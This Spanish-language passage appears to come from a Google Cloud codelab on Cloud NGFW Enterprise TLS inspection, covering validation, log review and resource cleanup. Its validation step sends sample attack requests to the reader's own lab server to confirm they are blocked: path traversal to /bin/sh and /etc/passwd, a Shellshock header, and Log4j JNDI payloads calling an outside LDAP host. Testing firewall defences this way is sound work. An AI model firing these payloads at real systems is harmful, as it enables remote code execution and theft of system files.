12. Validación de la inspección de TLS de E/W

Vuelve a establecer la conexión SSH con el cliente para probar el tráfico de E/W con la configuración de confianza actualizada:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Ejecuta la solicitud de TLS de muestra al servidor:

curl https://$target_privateip --max-time 2

Si sigues viendo el siguiente resultado, espera a que se propaguen las actualizaciones.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Resultado esperado:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Envía tráfico de prueba malicioso al servidor:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Resultado esperado:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

No se reciben respuestas según el resultado esperado que se muestra a continuación, lo que confirma que ahora se bloquean los ataques de muestra para E/W.

13. Logging

Navega a Logging > Explorador de registros a través de la consola de Cloud, ingresa el siguiente filtro y consulta los registros. Reemplaza [PROJECT_ID] por tu project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Las entradas de registro de Cloud NGFW Enterprise deberían verse de manera similar a la siguiente:

5b68cc1063c0f4bd.png

Expande las entradas de registro y observa que los ataques enviados desde la VM del cliente al servidor se identificaron y bloquearon (Vulnerabilidad de ejecución remota de código de Apache Log4j, según la captura de pantalla que se muestra a continuación).

478f18f8481e90ed.png

Implementaste correctamente Cloud NGFW Enterprise con la inspección de TLS para bloquear solicitudes maliciosas.

Continúa con la siguiente sección para conocer los pasos de limpieza.

14. Pasos de limpieza

Limpieza de la configuración básica

Quita las instancias:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Sigue los pasos que se indican a continuación si se cambiaron los roles de tagAdmin y tagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Quita la clave y los valores de la etiqueta:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Quita la política de red del Firewall de Cloud y la asociación:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Borra Cloud Router y Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Borra las direcciones IP reservadas:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Limpieza de SPG, asociación y TLS del firewall de Cloud

Borra el grupo de perfiles de seguridad y el perfil de amenazas en este orden:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Borra la asociación del extremo del Firewall de Cloud:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Borra el extremo del Firewall de Cloud, lo que puede tardar alrededor de 20 minutos:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

De manera opcional, confirma que se borró el extremo de Cloud NGFW ejecutando el siguiente comando:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

El estado del extremo debería mostrar lo siguiente:

STATE: DELETING

Cuando se complete el proceso, el extremo ya no aparecerá en la lista.

Borra la política de TLS y la configuración de confianza en este orden:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Inhabilita y borra la CA raíz y el grupo de CA:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Limpieza de subredes y VPC

Por último, borra la subred y la red de VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. ¡Felicitaciones!

¡Felicitaciones! Completaste correctamente el codelab de Cloud NGFW Enterprise para la inspección de TLS de este a oeste y de norte a sur.